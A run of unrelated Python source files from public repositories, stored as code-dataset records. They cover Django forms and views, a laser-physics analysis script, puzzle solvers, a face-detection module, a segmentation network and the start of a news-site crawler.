\"\"\"Proposal form for the data model.\"\"\"\n\n def __init__(self, department_choices, *args, **kwargs):\n \"\"\"Set the department field choices.\"\"\"\n super(ProposalForm, self).__init__(*args, **kwargs)\n self.fields['department'].choices = department_choices\n\n # Investigator Information\n # NOTE: we have name, email, ID from user profile data\n department = forms.ChoiceField(\n label='Department',\n choices=(),\n )\n # NOTE \"Co-Principal Investigators & Associated Institution\"\n # are GenericContact() Foreign Key relationships.\n # Name, Institution fields [limit 5]\n\n # Project Overview\n start_date = forms.DateField(\n label=\"Project start date\",\n )\n end_date = forms.DateField(\n label=\"Project end date\",\n )\n\n class Meta:\n \"\"\"Attributes about the form class.\"\"\"\n\n model = Proposal\n exclude = (\n 'opened',\n 'closed',\n 'awarded',\n 'user',\n 'created_at',\n 'updated_at',\n 'email_approved',\n 'save_submit',\n 'decline',\n 'level3',\n 'comments',\n )\n\n def clean_grant_agency_funding_source_other(self):\n \"\"\"Insure that other value is populated.\"\"\"\n cd = self.cleaned_data\n other = cd.get('grant_agency_funding_source_other')\n if cd.get('grant_agency_funding_source') == 'Other' and not other:\n self.add_error(\n 'grant_agency_funding_source_other',\n \"\"\"\n Please provide additional information about the\n funding source\n \"\"\",\n )\n\n return other\n\n def clean_proposal_type_other(self):\n \"\"\"Insure that other value is populated.\"\"\"\n cd = self.cleaned_data\n other = cd.get('proposal_type_other')\n if cd.get('proposal_type') == 'Other' and not other:\n self.add_error(\n 'proposal_type_other',\n \"Please provide additional information about the proposal type\",\n )\n\n return other\n\n def clean_project_type_other(self):\n \"\"\"Insure that other value is populated.\"\"\"\n cd = self.cleaned_data\n other = cd.get('project_type_other')\n if cd.get('project_type') == 'Other' and not other:\n self.add_error(\n 'project_type_other',\n \"Please provide additional information about the project type\",\n )\n\n return other\n\n\nclass InvestigatorsForm(forms.Form):\n \"\"\"Ivestigators form.\"\"\"\n\n name1 = forms.CharField(required=False)\n name2 = forms.CharField(required=False)\n name3 = forms.CharField(required=False)\n name4 = forms.CharField(required=False)\n name5 = forms.CharField(required=False)\n institution1 = forms.CharField(required=False)\n institution2 = forms.CharField(required=False)\n institution3 = forms.CharField(required=False)\n institution4 = forms.CharField(required=False)\n institution5 = forms.CharField(required=False)\n\n\nclass BudgetForm(forms.ModelForm):\n \"\"\"Proposal Budget form.\"\"\"\n\n class Meta:\n \"\"\"Attributes about the form class.\"\"\"\n\n model = ProposalBudget\n exclude = (\n 'proposal', 'created_at', 'updated_at',\n )\n\n\nclass ImpactForm(forms.ModelForm):\n \"\"\"Proposal impact form.\"\"\"\n\n institutional_funds = forms.TypedChoiceField(\n label=\"\"\"\n Will institutional or departmental funds be used in this proposal?\n \"\"\",\n choices=BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n indirect_funds_solicitation = forms.TypedChoiceField(\n label=\"Does the sponsor allow the inclusion of indirect in the budget?\",\n choices=BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n subcontracts = forms.ModelMultipleChoiceField(\n label=\"Does your proposal include any of the following?\",\n queryset=SUBCONTRACTS_CHOICES,\n widget=forms.CheckboxSelectMultiple(),\n help_text=\"Check all that apply.\",\n required=False,\n )\n subaward_monitoring = forms.TypedChoiceField(\n label=\"Sub Award Monitoring\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n human_subjects = forms.TypedChoiceField(\n label=\"IRB (Human Subjects Research)\",\n choices=BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n animal_subjects = forms.TypedChoiceField(\n label=\"IACUC (Animal Research)\",\n choices=BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n students_involved = forms.TypedChoiceField(\n label=\"Student Employment or Work Study\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n students_stipends = forms.TypedChoiceField(\n label=\"Student stipends\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n personnel_salary = forms.TypedChoiceField(\n label=\"Job posting, hiring, salary/wage changes\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n marketing = forms.TypedChoiceField(\n label=\"Brochures, PR, websites\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n contract_procurement = forms.TypedChoiceField(\n label=\"Contract Review and Negotiation\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n data_management = forms.TypedChoiceField(\n label=\"Institutional Data\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n new_hires = forms.TypedChoiceField(\n label=\"Will this project create a new position at Carthage?\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n course_relief = forms.TypedChoiceField(\n label=\"\"\"\n Will this project require that your department hire someone\n to teach the courses you are scheduled to teach\n or any other type of course relief?\n \"\"\",\n choices=BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n infrastructure_requirements = forms.TypedChoiceField(\n label=\"Is new or renovated space required?\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n international = forms.TypedChoiceField(\n label=\"International or off-campus studies\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n event_services = forms.TypedChoiceField(\n label=\"Conferences and event services\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n financial_aid = forms.TypedChoiceField(\n label=\"Financial aid / scholarships\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n tech_support = forms.TypedChoiceField(\n label=\"Computer support, computer equipment, data management needs\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n purchase_equipment = forms.TypedChoiceField(\n label=\"Equipment Purchases (over $5000)\",\n choices=choices.BINARY_CHOICES,\n widget=forms.RadioSelect(),\n )\n admin_comments = forms.CharField(\n widget=forms.Textarea,\n required=False,\n help_text=\"\"\"\n Provide any administrative comments that you might want\n others to consider.\n \"\"\",\n )\n disclosure_assurance = forms.BooleanField(required=True)\n\n class Meta:\n \"\"\"Attributes about the form class.\"\"\"\n\n model = ProposalImpact\n exclude = (\n 'proposal',\n 'created_at',\n 'updated_at',\n 'level3',\n 'level2',\n 'level1',\n )\n\n def clean(self):\n \"\"\"Form validation for various fields.\"\"\"\n cd = self.cleaned_data\n\n for key in list(cd.keys()):\n if '_detail' in key:\n radio = cd.get(key.split('_detail')[0])\n error = (\n radio\n and (radio == 'Yes' or 'Student' in radio)\n and not cd.get(key)\n )\n if error:\n self.add_error(key, \"Please provide additional information\")\n\n return cd\n\n\nclass DocumentForm(forms.ModelForm):\n \"\"\"Proposal documents form.\"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"Add placeholder value to fields.\"\"\"\n super(DocumentForm, self).__init__(*args, **kwargs)\n self.fields['name'].widget.attrs['placeholder'] = 'Name or short description'\n\n class Meta:\n \"\"\"Attributes about the form class.\"\"\"\n\n model = ProposalDocument\n fields = ('name', 'phile')\n\n\nclass CommentsForm(forms.Form):\n \"\"\"Proposal comments form.\"\"\"\n\n comments = forms.CharField(\n widget=forms.Textarea,\n required=False,\n help_text=\"Provide any additional comments if need be\",\n )\n\n\nclass ProposalApproverForm(forms.Form):\n \"\"\"Proposal approver form.\"\"\"\n\n user = forms.ChoiceField(label=\"Faculty/Staff\", choices=())\n proposal = forms.CharField(widget=forms.HiddenInput())\n\n def __init__(self, *args, **kwargs):\n \"\"\"Set up choices for select field.\"\"\"\n super(ProposalApproverForm, self).__init__(*args, **kwargs)\n # populate the approvers select field with faculty/staff\n facstaff = get_peeps(who=False, choices=True)\n self.fields['user'].choices = facstaff\n\n def clean(self):\n \"\"\"Check for a valid proposal, user, and if approver already exists.\"\"\"\n cd = self.cleaned_data\n cid = cd.get('user')\n try:\n user = User.objects.get(pk=cid)\n except User.DoesNotExist:\n # create a new user\n eldap = LDAPManager()\n peep = get_peep(cid)\n result_data = eldap.search(peep[0]['username'], field='cn')\n groups = eldap.get_groups(result_data)\n user = eldap.dj_create(result_data, groups=groups)\n proposal = Proposal.objects.filter(pk=cd.get('proposal')).first()\n if proposal:\n for approver in proposal.approvers.all():\n if approver.user == user:\n self.add_error('user', \"That user is already an approver.\")\n else:\n self.add_error('proposal', \"That is not a valid proposal\")\n return cd\n\n\nclass EmailInvestigatorForm(forms.Form):\n \"\"\"Send an email to investigator form.\"\"\"\n\n content = forms.CharField(widget=forms.Textarea, label=\"Email content\")\n","repo_name":"carthage-college/django-djbeca","sub_path":"djbeca/core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":11425,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"23674519611","text":"from django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import redirect, render, get_object_or_404\nfrom django.utils import timezone\n\nfrom pybo.forms import QuestionForm\nfrom pybo.models import Question\n\n\n@login_required(login_url='common:login')\ndef question_create(request):\n if(request.method == 'POST'): # POST방식으로 전달\n form = QuestionForm(request.POST) # 유효하지 않은 데이터가 들어오면 오류 메세지가 저장됨\n if(form.is_valid()): # 입력된 Form이 유효한 경우\n question = form.save(commit=False) #question 객체에 임시저장\n question.author = request.user # author 속성에 로그인 계정 저장\n question.create_date = timezone.now() # 시간을 설정하고\n question.save() # 저장\n return redirect('pybo:index')\n else: #GET방식으로 전달\n form = QuestionForm()\n context = {'form':form}\n return render(request, 'pybo/question_form.html', context)\n\n@login_required(login_url=\"common:login\")\ndef question_modify(request, question_id):\n question = get_object_or_404(Question, pk=question_id)\n if request.user != question.author:\n messages.error(request,\"수정 권한이 없습니다\")\n return redirect('pybo:detail', question_id=question.id)\n if request.method == \"POST\":\n form = QuestionForm(request.POST, instance=question)\n if form.is_valid():\n question = form.save(commit=False)\n question.modify_date = timezone.now()\n question.save()\n return redirect('pybo:detail', question_id=question.id)\n else:\n form = QuestionForm(instance=question)\n context = {'form':form}\n return render(request, 'pybo/question-form.html', context)\n\n@login_required(login_url='common:login')\ndef question_delete(request, question_id):\n question = get_object_or_404(Question, pk=question_id)\n if request.user != question.author:\n messages.error(request, '삭제권한이 없습니다')\n return redirect('pybo:detail', question_id=question.id)\n question.delete()\n return redirect('pybo:index')\n@login_required(login_url='common:login')\ndef question_vote(request, question_id):\n question = get_object_or_404(Question,pk=question_id)\n if request.user == question.author:\n messages.error(request, '본인이 작성한 글은 추천할 수 없습니다.')\n else:\n question.voter.add(request.user)\n return redirect('pybo:detail', question_id=question.id)","repo_name":"Jeon-HS4/Django_Tutorial","sub_path":"pybo/views/question_views.py","file_name":"question_views.py","file_ext":"py","file_size_in_byte":2590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"41320820227","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 19 16:54:54 2019\n\n@author: similarities\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport random\nimport math\n\nmarker_style = [',', '+', '.', 'v', '*', \"P\", \"H\", 'x', \"D\", \">\"]\n\n\nclass Open_and_Plot_Picture:\n def __init__(self, filename, xmin, xmax, lambdaL, ROI_y, filedescription):\n\n self.filename = filename\n # px size full picture * usually 0 - 2048\n self.ymin = 0\n\n self.ymax = 2048\n # defined Roi in x to avoid boarder effects\n self.xmin = xmin\n\n self.xmax = xmax\n # integration ROI y for each HHG line\n self.ROI_y = ROI_y\n\n self.w0 = 6 * 1E-9 # radius of focus FWHM\n\n self.picture = np.empty([])\n\n self.integrated = np.empty([])\n\n self.x_backsubstracted = np.empty([2048, 2048])\n\n self.x_axis_in_nm = np.empty([2048, 1])\n\n self.x_axis_nm_to_px = np.empty([50, 1])\n\n self.lambdaL = lambdaL\n\n self.lineout = np.zeros([2048, 2048])\n\n self.lineout_x = np.empty([2048, 1])\n\n self.FWHM_for_N = np.zeros([2048, 3])\n\n self.C = 17.5 / 2048\n\n self.count_N = 30\n\n self.N_list = np.zeros([self.count_N, 1])\n\n self.N_diffraction_limit = np.zeros([self.count_N, 1])\n\n self.filedescription = filedescription\n\n def open_file(self):\n\n self.picture = plt.imread(self.filename)\n\n return self.picture\n\n def background(self):\n\n back_mean = np.mean(self.picture[:, 1780:1948], axis=1)\n\n N = len(self.picture) - 1\n\n for i in range(1, N):\n self.x_backsubstracted[::, i] = self.picture[::, i] - back_mean[i]\n\n i = i + 1\n\n plt.figure(3)\n\n plt.imshow(self.x_backsubstracted)\n\n def grating_function(self):\n # create x axis in separate list.\n N = 2048\n\n for i in range(0, N):\n self.x_axis_in_nm[i] = 1.24679344e-06 * i ** 2 - 1.65566701e-02 * i + 5.22598053e+01\n\n # i = i+1\n\n def N_borders_in_px(self):\n\n # maximum and minimum harmonic orders on the picture\n\n self.N_min = self.lambdaL / self.x_axis_in_nm[0] + 1\n\n self.N_max = self.lambdaL / self.x_axis_in_nm[-1] - 6\n\n self.N_count = int(self.N_max - self.N_min)\n\n print(int(self.N_min), int(self.N_max), \"Nmin, Nmax on this shot\")\n\n # borders to px\n\n for i in range(self.N_min, self.N_max):\n x = self.lambdaL / i\n # print(x, \"N\", i)\n self.x_axis_nm_to_px[i] = np.rint(4.71439193e-01 * x ** 2 - 1.06651902e+02 * x + 4.29603367e+03)\n\n def N_HHG_ROI_horizontal(self):\n\n A = int(self.N_min)\n\n N = int(self.N_max)\n\n # visualisation of taken lineouts on picture\n # integration over a certain amount of lines self.roi_y\n # creates lineout (sum of lineouts per N)\n for i in range(A, N):\n\n x = 0\n\n a = int(self.x_axis_nm_to_px[i])\n\n self.FWHM_for_N[a + x, 0] = i\n\n self.FWHM_for_N[a + x, 1] = a + x\n\n plt.figure(3)\n\n plt.hlines(a + self.ROI_y, xmin=0, xmax=2048, color=\"m\", linewidth=0.5)\n\n plt.hlines(self.x_axis_nm_to_px[i], xmin=0, xmax=2048, color=\"w\", linewidth=0.5)\n\n for x in range(0, self.ROI_y):\n self.lineout[a, ::] = self.lineout[a, ::] + self.x_backsubstracted[a + x, ::]\n\n # deletes 0 entrys in this array\n self.FWHM_for_N = np.delete(self.FWHM_for_N, np.where(~ self.FWHM_for_N.any(axis=1))[0], axis=0)\n # print(self.FWHM_for_N, \"List_of_line_outs_N\")\n\n plt.savefig(self.filedescription + \"_divergence\" + \".png\", bbox_inches=\"tight\", dpi=1000)\n\n # print(self.FWHM_for_N, \"x-achse- oders: N, px,0\")\n return self.lineout, self.FWHM_for_N\n\n def find_FWHM(self):\n\n # creates x-axis array\n\n self.lineout_x = np.arange(self.xmin, self.xmax)\n\n i = 0\n\n # determines maximum of each lineout\n # determines FWHM via stepfunction for Maximum/2\n # writes FWHM int the created array to each corresponding HHG number\n\n for i in range(0, (len(self.FWHM_for_N))):\n j = int(self.FWHM_for_N[i, 1])\n # print (len(self.FWHM_for_N), \"laenge i\", j, \"j\")\n\n plt.figure(1)\n\n plt.plot(self.lineout_x, self.lineout[j, self.xmin:self.xmax])\n\n maximum = np.amax(self.lineout[j, self.xmin:self.xmax])\n # offset of background....\n minimum = 1000\n\n half_max = (maximum - minimum) / 2\n\n # gives for one peak stepfunction\n # width of step function is FWHM\n d = np.sign(half_max - self.lineout[j, self.xmin:self.xmax]) - 1\n\n plt.figure(2)\n\n plt.plot(self.lineout_x, d)\n\n FWHM = np.amax(np.nonzero(d)) - np.amin(np.nonzero(d))\n\n self.FWHM_for_N[i, 2] = self.C * (np.amax(np.nonzero(d)) - np.amin(np.nonzero(d)))\n\n print(\"output_list: N, px, FWHM\", self.FWHM_for_N)\n\n return self.FWHM_for_N\n\n def plot_diffraction_limit(self):\n\n C1 = 1 / (math.pi * self.w0)\n\n denting_constant = 0\n\n for x in range(0, self.count_N - 1):\n self.N_list[x] = int(self.N_min) + x\n\n self.N_diffraction_limit[x] = C1 * (\n ((4 * math.pi * denting_constant) ** 2 + (self.lambdaL * 1E-9 / self.N_list[x]) ** 2)) ** 0.5\n\n plt.figure(5)\n\n plt.scatter(self.N_list, self.N_diffraction_limit, marker=\"<\", color=\"c\", label=\"theory D0 = 0 nm\", alpha=0.5)\n\n plt.xlim(15, 28)\n\n plt.ylim(1, 11)\n\n plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n\n plt.savefig(\"20190123_divergence_mrad\" + \".png\", bbox_inches=\"tight\", dpi=1000)\n\n def plot_result(self):\n\n marker2 = random.choice(marker_style)\n\n marker_style.remove(marker2)\n\n plt.figure(5)\n\n plt.ylabel(\"FWHM [mrad]\")\n\n plt.xlabel(\"harmonic order [N]\")\n\n plt.scatter(self.FWHM_for_N[::, 0], self.FWHM_for_N[::, 2], label=self.filedescription, linewidth=0.2,\n marker=marker2)\n\n plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n\n def save_data(self):\n np.savetxt(self.filedescription + \"_divergence_mrad\" + \".txt\", self.FWHM_for_N, delimiter=' ', fmt='%1.4e')\n\n\n# class gives the following params: (\"filepath/filename',xmin [px], xmax [px],fundamental wavelength[um],ROI_y, filename )\n\n\nPicture1 = Open_and_Plot_Picture('rotated/spectro1__Wed Jan 23 2019_16.50.14_62.tif', 150, 1500, 807.5, 40,\n \"20190123_62 z2400 GVD900\")\nPicture1.open_file()\nPicture1.background()\nPicture1.grating_function()\nPicture1.N_borders_in_px()\nPicture1.N_HHG_ROI_horizontal()\nPicture1.find_FWHM()\nPicture1.plot_result()\n\nPicture1 = Open_and_Plot_Picture('rotated/spectro1__Wed Jan 23 2019_14.51.31_17.tif', 150, 1500, 813.5, 40,\n \"20190123_17 z2000 GVD900\")\nPicture1.open_file()\nPicture1.background()\nPicture1.grating_function()\nPicture1.N_borders_in_px()\nPicture1.N_HHG_ROI_horizontal()\nPicture1.find_FWHM()\nPicture1.plot_result()\n\nPicture1 = Open_and_Plot_Picture('rotated/spectro1__Wed Jan 23 2019_16.15.56_46.tif', 150, 1500, 807.5, 50,\n \"20190123_46 z3600 GVD900\")\nPicture1.open_file()\nPicture1.background()\nPicture1.grating_function()\nPicture1.N_borders_in_px()\nPicture1.N_HHG_ROI_horizontal()\nPicture1.find_FWHM()\nPicture1.plot_result()\n\nPicture1 = Open_and_Plot_Picture('rotated/spectro1__Wed Jan 23 2019_16.13.00_44.tif', 150, 1500, 807.5, 50,\n \"20190123_44 z3200 GVD900\")\nPicture1.open_file()\nPicture1.background()\nPicture1.grating_function()\nPicture1.N_borders_in_px()\nPicture1.N_HHG_ROI_horizontal()\nPicture1.find_FWHM()\nPicture1.plot_result()\n\nPicture1 = Open_and_Plot_Picture('rotated/spectro1__Wed Jan 23 2019_16.51.09_63.tif', 100, 1400, 808.5, 40,\n \"20190123_63 z2000 GVD900\")\nPicture1.open_file()\nPicture1.background()\nPicture1.grating_function()\nPicture1.N_borders_in_px()\nPicture1.N_HHG_ROI_horizontal()\nPicture1.find_FWHM()\nPicture1.plot_result()\n\nPicture1 = Open_and_Plot_Picture('rotated/spectro1__Wed Jan 23 2019_14.46.17_14.tif', 200, 1400, 812.5, 50,\n \"20190123_14 z1600 GVD900\")\nPicture1.open_file()\nPicture1.background()\nPicture1.grating_function()\nPicture1.N_borders_in_px()\nPicture1.N_HHG_ROI_horizontal()\nPicture1.find_FWHM()\nPicture1.plot_result()\nPicture1.plot_diffraction_limit()\n\nPicture1.save_data()\n","repo_name":"Similarities/HHG_divergence","sub_path":"divergence_py20190123_best_overview_style.py","file_name":"divergence_py20190123_best_overview_style.py","file_ext":"py","file_size_in_byte":8604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26328791176","text":"## -- HELPER FUNCTIONS -- ##\ndef createBoard(rowCount, colCount, list):\n board = []\n for i in range(rowCount):\n rowList = []\n for j in range(colCount):\n rowList.append(list[rowCount * i + j])\n board.append(rowList)\n\n return board\n\ndef updateBoard(b, val):\n # update board if passed value is a match\n for i in range(len(b[0])):\n for j in range(len(b[i])):\n # check for matching value\n if b[i][j] == val:\n b[i][j] = True\n # check for winning board\n winner = True if checkForWinner(b) else False\n # return\n if winner:\n return True, b\n else:\n return False, b\n\ndef checkForWinner(b):\n # check rows for winner\n for i in range(len(b[0])):\n winner = all(_ is True for _ in b[i])\n if winner:\n return True\n\n # check columns for winner\n for i in range(len(b)):\n column = []\n for j in range(len(b[i])):\n column.append(b[j][i])\n winner = all(_ is True for _ in column)\n if winner:\n return True\n \n return False\n \ndef calculateSum(b, winning_num):\n total = 0\n for i in range(len(b[0])):\n for j in range(len(b[i])):\n if b[i][j] != True:\n total += b[i][j]\n\n return total * winning_num\n\n## -- MAIN FUNCTION -- ##\ndef giantSquid():\n # Get Input Data\n f = open(\"2021/Day4/Day4_input.txt\", \"r\")\n input = f.read()\n input_list = [_ for _ in input.split(\"\\n\\n\")]\n f.close()\n\n # extract numbers to be called\n nums = [int(_) for _ in input_list.pop(0).split(',')]\n \n # create boards\n boards = []\n for row in input_list:\n split_row = [int(_) for _ in row.split()]\n boards.append(createBoard(5, 5, split_row))\n\n # WINNING VARIABLES\n winningIdx = set()\n winningOrder = []\n \n # loop through nums\n while len(nums) > 0 and len(winningOrder) < len(boards):\n # get current number\n curr_num = nums.pop(0)\n\n # loop through all boards\n for board_idx, b in enumerate(boards):\n result, new_board = updateBoard(b, curr_num)\n if result:\n if board_idx not in winningIdx:\n winningIdx.add(board_idx)\n winningOrder.append({\n \"idx\": board_idx,\n \"board\": new_board,\n 'num': curr_num\n })\n # break out of for loop if limit is reached\n # this will continue the loop and trip the while condition check\n if len(winningOrder) == len(boards):\n break\n\n print('THE WINNING BOARD', winningOrder[-1]['board'])\n return calculateSum(winningOrder[-1]['board'], winningOrder[-1]['num'])\n\n# Test\nresult = giantSquid()\nprint(result)","repo_name":"MrT3313/AdventOfCode","sub_path":"2021/Day4/Day4_2.py","file_name":"Day4_2.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"17974520043","text":"import cv2\nimport mediapipe as mp\n\nimport time\n\n\n\nclass FaceDetection():\n def __init__(self, selfie_mode = False, detection_conf=0.5):\n self.selfie_mode = selfie_mode\n self.detection_conf = detection_conf\n self.mp_face_detection = mp.solutions.face_detection\n self.mp_drawing = mp.solutions.drawing_utils\n self.face_detection = self.mp_face_detection.FaceDetection(self.selfie_mode, self.detection_conf)\n\n def detection(self, img):\n \n img_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n h,w,c = img.shape\n self.results = self.face_detection.process(img_rgb)\n \n Lbbox = []\n\n if self.results.detections:\n for id, detection in enumerate(self.results.detections):\n bboxC = detection.location_data.relative_bounding_box\n bbox = int(bboxC.xmin *w), int(bboxC.ymin *h), int(bboxC.width *w), int(bboxC.height *h)\n Lbbox.append([id, bbox, int(detection.score[0] * 100)])\n\n return img, Lbbox\n \n def draw(self, img, list_bbox):\n if len(list_bbox) > 0:\n cv2.rectangle(img, list_bbox[0][1], (255,0,255),2)\n cv2.putText(img, f'{str(list_bbox[0][2])}%', (list_bbox[0][1][0],list_bbox[0][1][1] - 20), cv2.FONT_HERSHEY_COMPLEX, 2, (255, 0, 255), 2)\n\n\ndef main():\n\n cap = cv2.VideoCapture(0)\n detector = FaceDetection()\n pTime = 0\n cTime = 0\n \n while True:\n\n success, img = cap.read()\n list_bbox = []\n img, list_bbox = detector.detection(img)\n detector.draw(img, list_bbox)\n cTime = time.time()\n fps = 1/(cTime-pTime)\n pTime = cTime\n\n cv2.putText(img, str(int(fps)), (10,70), cv2.FONT_HERSHEY_COMPLEX, 3, (255, 0, 255), 3)\n cv2.imshow(\"Image\", img)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n cap.release()\n cv2.destroyAllWindows()\n break\n\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"petropetropetro/Mediapipe_CV","sub_path":"FaceDetectionModule.py","file_name":"FaceDetectionModule.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"31912693081","text":"import math\r\ntc = int(input())\r\nfor _ in range(tc):\r\n a, b = map(int,input().split())\r\n n = abs(a-b)\r\n ban = math.floor(math.sqrt(n))\r\n if n < 4:\r\n print(n)\r\n elif int(ban) == math.sqrt(n):\r\n print(2 * ban - 1)\r\n elif n <= ban**2 + ban:\r\n print(2 * ban)\r\n else:\r\n print(2 * ban + 1)","repo_name":"FantBlog/baekjoonhub","sub_path":"백준/Gold/1011. Fly me to the Alpha Centauri/Fly me to the Alpha Centauri.py","file_name":"Fly me to the Alpha Centauri.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"19316499082","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\ntry:\n from .blocks import *\nexcept:\n from blocks import *\n \nclass NETS(nn.Module):\n def __init__(self,\n classN = 1,\n startC = 32,\n inC = 3,\n dropout = 0.5):\n \n super(NETS, self).__init__()\n \n self.diceLoss = DiceLoss()\n \n self.input_block = ResidualBlock(inC)\n self.conv_input = nn.Conv2d(inC, startC, 1)\n self.down_sample1 = DownSamplingBlock(startC, startC*2)\n self.down_sample2 = DownSamplingBlock(startC*2, startC*4)\n self.bottom = BottomAggBlock(startC*4, startC*2, startC*2, dropout=dropout)\n self.up_sample1 = UpSamplingAggBlock(startC*4, startC*2, startC*2, startC*2)\n self.up_sample2 = UpSamplingAggBlock(startC*2, startC, startC, startC)\n self.output_block = ResidualBlock(startC)\n self.dropout = nn.Dropout(dropout)\n self.conv_output = nn.Conv2d(startC, classN+1, 1)\n\n def forward(self, x) -> torch.tensor:\n \n x = F.interpolate(x, size=(x.shape[2]//2, x.shape[3]//2))\n \n x = x.contiguous()\n x = self.input_block(x)\n x1 = self.conv_input(x)\n x2 = self.down_sample1(x1)\n x = self.down_sample2(x2)\n x = self.bottom(x)\n x = self.up_sample1(x)\n x = x + x2\n x = self.up_sample2(x)\n x = x + x1\n x = self.output_block(x)\n x = self.dropout(x) \n x = self.conv_output(x)\n \n logit = F.interpolate(x, size=(x.shape[2]*2, x.shape[3]*2)) \n \n # x = torch.sigmoid(x) \n return {\"logit\" : logit}\n \n def getLoss(self, outputs, target):\n\n loss = self.diceLoss(outputs[\"logit\"], target.type(torch.long))\n \n return loss \n \nclass DiceLoss(nn.Module):\n \n \"\"\"\n https://github.com/kevinzakka/pytorch-goodies/blob/master/losses.py\n \"\"\" \n \n def __init__(self, eps=1e-7):\n super(DiceLoss, self).__init__()\n self.eps = eps\n \n def forward(self, logits, true):\n \n num_classes = logits.shape[1]\n true_1_hot = torch.eye(num_classes)[true.squeeze(1)]\n true_1_hot = true_1_hot.permute(0, 3, 1, 2).float()\n probas = F.softmax(logits, dim=1)\n true_1_hot = true_1_hot.type(logits.type())\n dims = (0,) + tuple(range(2, true.ndimension()))\n intersection = torch.sum(probas * true_1_hot, dims)\n cardinality = torch.sum(probas + true_1_hot, dims)\n dice_loss = (2. * intersection / (cardinality + self.eps)).mean()\n \n return (1 - dice_loss)\n\n \nif __name__ == \"__main__\" :\n \n import os\n from torch.optim import Adam\n \n # pick a gpu that has the largest space\n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\n os.environ['CUDA_LAUNCH_BLOCKING'] = \"3\"\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"2\"\n \n x = torch.randn(1, 3, 256, 256).to(\"cuda\")\n y = torch.randint(0,2, (1, 256, 256)).to(\"cuda\")\n \n net = NETS().to(\"cuda\")\n \n logit = net(x)\n \n optimizer = Adam(net.parameters(), lr=0.1, weight_decay = 0)\n\n loss = net.getLoss(logit, y)\n print(loss)\n\n loss.backward() \n optimizer.step()\n \n \n","repo_name":"nus-mornin-lab/FCSN","sub_path":"model/NonLocal/NonLocal.py","file_name":"NonLocal.py","file_ext":"py","file_size_in_byte":3368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32086499310","text":"# coding=utf-8\nimport requests\nfrom bs4 import BeautifulSoup\nimport datetime\nimport bs4\nimport json\n\nfrom website_crawler.crawler import Crawler\n\n\nclass Zaker(Crawler):\n\n update_stop = 0 # stop crawler.\n\n headers = {\"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) \"\n \"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36\"}\n\n def __init__(self):\n self.page_url = \"http://www.myzaker.com/channel/14\"\n self.origin = \"ZAKER\"\n self.label = \"社会新闻\"\n self.image_url = \"http://zkres.myzaker.com/static/zaker_web2/img/logo.png?v=20170726\"\n\n def insert_line(self, result, item):\n result.append({\"type\": \"text\", \"data\": item.__str__() + \"
